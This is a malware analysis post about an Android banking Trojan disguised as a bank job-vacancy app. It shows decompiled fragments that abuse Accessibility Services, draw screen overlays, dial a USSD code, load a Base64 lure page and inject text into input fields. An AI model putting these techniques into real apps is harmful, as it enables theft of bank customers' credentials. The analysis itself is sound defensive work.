Another piece of malware is live in Addis! This time, it’s a banking Trojan app. Interesting , even the bank has issued an alert to users..

So a day or two ago, I saw this circulating. I was wondering how it was possible and tried to find the malware ASAP. A day after i found it . At least this ==time== it was a 5.0 mb Named CBE Vacancy .
Jan 30 2025
Interesting name maybe I should hop in and look for a job.
Let’s dig a little deeper; it seems to fit the context of the notification sent by the bank.
Let’s scan the app on VirusTotal. VirusTotal helps us analyze URLs, contacted IPs, behavior analysis, and more. Virus total helps us analyze some details URLS and IP contacted along with behaviors analysis and more .

We can see there it matches a YARA rule which this yara rule is designed to detect the presence of Base64-encoded URL prefixes (http:// and https://) within files. Since most malwares try to hide their endpoint. Interesting, but this is just the tip of the iceberg .
Press enter or click to view image in full size

IP/URL address contacted The graph displays the contacted IP and URL addresses, with most appearing to be legitimate services, though some exhibit potentially malicious behavior. However, this raw data alone is not particularly helpful. Instead of searching for a needle in a haystack, I will begin with static analysis, which can provide insight into where the initial activity started and help determine the next steps. Later, we can perform dynamic analysis for further investigation.
Before diving into dynamic analysis, let’s start with static analysis. I’ll use JADX to decompile the app and examine its contents. The first thing I’ll check is the Android Manifest (AndroidManifest.xml) file, which contains crucial details about how the app interacts with the device and the permissions it requires. This file outlines the app’s structure, functionality, and key attributes such as:
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<permission
android:name="np.manager.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"
android:protectionLevel="signature"/>
Hmm… Based on the granted permissions, how might this app be used to steal sensitive credentials especially considering it’s targeting a banking app? Let’s analyze its activities and services to uncover potential threats.
<activity
android:name="np.manager.ActivityC0697"
android:exported="false"/>
<activity
android:name="np.manager.MainActivity2"
android:exported="false"/>
<service
android:name="np.manager.C0685"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService"/>
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibility"/>
</service>
<activity
android:name="np.manager.ActivityC0688"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
The Accessibility Service is accessed or required by the app. Anyone with a keen eye on Android security can see how this can be abused by malicious actors. This built-in service within the Android framework is designed to assist users by providing alternative navigation feedback on behalf of installed applications. It can perform various functions, from reading text aloud using TalkBack to simulating button clicks and overlaying content on an app. Additionally, this service can run in the background.
While no service is perfectly tailored for hackers, this one comes close due to its extensive capabilities. However, it’s important to remember that this feature was originally designed to enhance accessibility, making Android devices more user-friendly and inclusive for individuals with disabilities. Before diving into the activity that manages the service, let’s first check the other activities.
<activity
android:name="np.manager.ActivityC0697"
android:exported="false"/>
<activity
android:name="np.manager.MainActivity2"
android:exported="false"/>
<activity
android:name="np.manager.ActivityC0688"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
ActivityC0688(renamed by our decompiler) is the main activity or entry to the app. This activity does some intersting things as follow .
this.f8337 = (WindowManager) getSystemService("window");
m4311();
Button ask = (Button) findViewById(C0679.f8261);
ask.setOnClickListener(new ViewOnClickListenerC0689(this));
WindowManager.LayoutParamsprivate void m4318() {
LayoutInflater inflater = LayoutInflater.from(this);
this.f8336 = inflater.inflate(C0680.f8272, (ViewGroup) null);
WindowManager.LayoutParams params = new WindowManager.LayoutParams(-1, -1, 2038, 8, -3);
this.f8337.addView(this.f8336, params);
}
/* renamed from: ̜, reason: not valid java name and contains not printable characters */
private void m4314() {
View view = this.f8336;
if (view != null) {
this.f8337.removeView(view);
this.f8336 = null;
}
}
public void m4313() {
Intent intent = new Intent("android.intent.action.CALL", Uri.parse("tel:*889%23"));
startActivity(intent);
}
public void m4311() {
AccessibilityManager am = (AccessibilityManager) getSystemService("accessibility");
List < AccessibilityServiceInfo > enabledServices = am.getEnabledAccessibilityServiceList(-1);
boolean isEnabled = false;
Iterator < AccessibilityServiceInfo > it = enabledServices.iterator();
while (true) {
if (!it.hasNext()) {
break;
}
AccessibilityServiceInfo service = it.next();
if (service.getResolveInfo().serviceInfo.packageName.equals("np.manager")) {
isEnabled = true;
break;
}
}
if (isEnabled) {
Toast.makeText(this, "CBE app is enabled", 1).show();
Toast.makeText(this, "Welcome Back", 1).show();
m4315();
} else {
Toast.makeText(this, "CBE app is not enabled", 1).show();
Intent intent = new Intent(this, (Class < ? > ) MainActivity2.class);
startActivity(intent);
}
}
private void m4317(String title, String message) {
NotificationManager notificationManager = (NotificationManager) getSystemService("notification");
if (Build.VERSION.SDK_INT >= 26) {
NotificationChannel channel = new NotificationChannel("channel_id", "Channel Name", 3);
notificationManager.createNotificationChannel(channel);
}
Intent intent = new Intent(this, (Class < ? > ) MainActivity2.class);
intent.setFlags(268468224);
PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, intent, 33554432);
Notification.Builder builder = null;
if (Build.VERSION.SDK_INT >= 26) {
builder = new Notification.Builder(this, "channel_id").setSmallIcon(android.R.drawable.ic_dialog_alert).setContentTitle(title).setContentText(message).setContentIntent(pendingIntent).setPriority(1).setCategory(NotificationCompat.CATEGORY_CALL).setDefaults(-1).setOngoing(true).setAutoCancel(false);
}
notificationManager.notify(1, builder.build());
}
setContentView(C0680.f8270);
try {
WebView webView = new WebView(this);
webView.getSettings().setJavaScriptEnabled(true);
webView.setScrollBarStyle(0);
webView.setWebViewClient(new MyWebViewClient());
webView.setWebChromeClient(new C0695(this));
webView.addJavascriptInterface(new C0696(this, this), "Android");
String str3 = getString(C0682.f8274);
String str1 = new String(Base64.decode(str3, 0), "UTF-8").replace("Start Accessibility", "CBE").replace("Enable Accessibility To Continue", m4284() + " : 'CBE'");
StringBuilder stringBuilder1 = new StringBuilder();
stringBuilder1.append("var lang = '");
stringBuilder1.append(Locale.getDefault().getLanguage());
stringBuilder1.append("'");
String str12 = str1.replace("var lang = 'en'", stringBuilder1.toString());
String str2 = m4282("PGh0bWwgbGFuZz0iZW4iPg==");
webView.loadDataWithBaseURL(null, str12.replace(str2, m4282("PGh0bWwgbGFuZz0i") + Locale.getDefault().getLanguage() + m4282("Ij4=")), "text/html", "UTF-8", null);
setContentView(webView);
} catch (Exception e) {}
}
This activity generates a webpage and displays it to the user, prompting them to enable Accessibility Services to proceed. The webpage’s content is stored in the resources/res/values/strings.xml directory under the string name Access and is encoded in Base64. While we could decode it to examine the webpage, let's move forward.
public void onAccessibilityEvent(android.view.accessibility.AccessibilityEvent r103) {
/*
Method dump skipped, instructions count: 6102
To view this dump change 'Code comments level' option to 'DEBUG'
*/
throw new UnsupportedOperationException("Method not decompiled: np.manager.C0685.onAccessibilityEvent(android.view.accessibility.AccessibilityEvent):void");
}
It appears that the code is either obfuscated or too lengthy to fully decompile. This highlights the limitations of static analysis, letting us to shift to dynamic analysis observing the malware in action.
However, we can still make some assumptions based on decompiled functions that are present but never invoked. Notably, we identified two such functions with no method invocation. Malware authors sometimes include junk code to mislead analysts, but these two functions align with typical malware behavior that exploits Accessibility Services.
In certain parts of the code, we found a connection set to a domain. This could be a potential exfiltration channel for stolen data or it might be a decoy. At this stage, we can only speculate, as there is no clear indication of where this function is being called from.
private void m4295(String value) {
final OkHttpClient client = new OkHttpClient();
String url = "redacted"
final Request request = new Request.Builder().url(url).build();
new Thread(new Runnable() { // from class: np.manager.
@Override // java.lang.Runnable
public final void run() {
C0685.m4293(OkHttpClient.this, request);
}
}).start();
}
But virus totals dynamic analysis gives us a hint in that it actually connects to that domain or C2 .

In java you can extend classes giving it the persona of Object Oriented Programming . In this case the actors have extended the AccessibilityService class. Here we can see what the intent of the actors is .
public void m4300() {
try {
AccessibilityNodeInfo root = getRootInActiveWindow();
AccessibilityNodeInfo focus = root.findFocus(1);
if (focus != null) {
Bundle arguments = new Bundle();
arguments.putString(AccessibilityNodeInfoCompat.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, f8294);
boolean sucess = focus.performAction(2097152, arguments);
if (!sucess) {
AccessibilityNodeInfo accessibilityNodeInfo = f8288;
if (accessibilityNodeInfo == null) {
return;
} else {
accessibilityNodeInfo.performAction(2097152, arguments);
}
}
f8289 = false;
}
} catch (Exception e) {}
}
This code creates an overlay on top of the active window, allowing it to access and interact with the user interface (UI) elements currently displayed on the screen. It then identifies the UI element that is currently in focus, such as an input field where the user is typing. If a focused node or input element is detected, the code proceeds to manipulate it. Specifically, it inserts the value “f8294” into the identified input field. To confirm our predictions, we need to proceed to the next step: dynamic analysis, which we will conduct later. This concludes our analysis so far.
So far, we know that the malware creates an overlay on the screen, captures user interactions, and even performs actions on the screen when needed. It then stores the extracted data and transmits it back. However, the exact nature of the data being captured and the specific extraction methods remain unclear, despite some predictions. To gain deeper insights, dynamic analysis may be necessary for further investigation.
As a hint, the main activity looks something like this:
